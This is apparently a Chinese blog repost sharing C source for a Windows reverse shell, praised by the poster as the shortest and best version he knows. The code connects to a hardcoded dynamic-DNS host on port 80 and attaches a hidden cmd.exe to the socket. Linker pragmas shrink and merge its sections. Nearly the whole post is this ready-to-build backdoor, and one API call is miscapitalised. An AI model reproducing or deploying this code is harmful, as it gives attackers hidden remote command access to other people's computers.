• 反向链接的实现


    这个代码个人感觉写的太好了,拿出来分享吧,只是是我目前认为最好的了,自己写的就不给了,太差了。这个代码比这个大师http://blog.csdn.net/yincheng01/article/details/7214052写的短多了(即使他的去掉那错误判断代码),所以拿出来分享下········

    #pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:Entrypoint")
    #pragma comment(linker,"/INCREMENTAL:NO /IGNORE:4078")
    #pragma comment(linker,"/MERGE:.idata=.text /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.text=Anskya /SECTION:Anskya,EWR") 
    #pragma comment(lib, "ws2_32.lib")
    
    #include <winsock2.h>
    #include <windows.h>
    
    #define MasterAddr "DNA32r.3322.org"   //连接地址 
    #define MasterPort 80             //连接端口
    
    void Entrypoint()
    {
      WSADATA WSADa;
      LPHOSTENT HostEnts;
      sockaddr_in SockAddrIn;
      SOCKET FSocket;
      
      PROCESS_INFORMATION ProcessInfo;
      STARTUPINFO StartupInfo;
    
      char szCMDPath[255];
    //-------------------
      ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
      ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
      ZeroMemory(&WSADa, sizeof(WSADATA));
    //----初始化数据----
      GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
      //获取cmd路径
      WSAStartup(0x0202,&WSADa);
      //加载ws2_32.dll
      HostEnts=gethostbyname(MasterAddr);
      SockAddrIn.sin_family = AF_INET;
      SockAddrIn.sin_addr = *((LPIN_ADDR)*HostEnts->h_addr_list);
      SockAddrIn.sin_port = htons(MasterPort);
      FSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
      //获取远程地址和端口~绑定协议
      connect(FSocket, (LPSOCKADDR)&SockAddrIn,sizeof(SockAddrIn));
      //开始连接远程服务器
      StartupInfo.cb = sizeof(STARTUPINFO);
      StartupInfo.wShowWindow = SW_HIDE;
      StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
      StartupInfo.hStdInput = (HANDLE)FSocket;
      StartupInfo.hStdOutput = (HANDLE)FSocket;
      StartupInfo.hStdError = (HANDLE)FSocket;
      //创建匿名管道
      createProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
      WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
      CloseHandle(ProcessInfo.hProcess);
      CloseHandle(ProcessInfo.hThread);
      //关闭进程句柄
      closesocket(FSocket);
      WSACleanup();
      //关闭连接卸载ws2_32.dll
    }
    ----------------------------------------------在穷无非讨饭,不死终会出头。
  • 相关阅读:
    一个 redis 异常访问引发 oom 的案例分析
    从粗放式到精益化编程
    又是一年校招
    xUtils框架的介绍(四)
    xUtils框架的介绍(三)
    hdu 4283 区间dp
    hdu 4632区间dp 回文字串计数问题
    poj 1651 区间dp
    NYOJ 石子合并(一) 区间dp入门级别
    区间dp 整数划分问题
  • 原文地址:https://www.cnblogs.com/scrat/p/2730085.html
Copyright © 2020-2023  润新知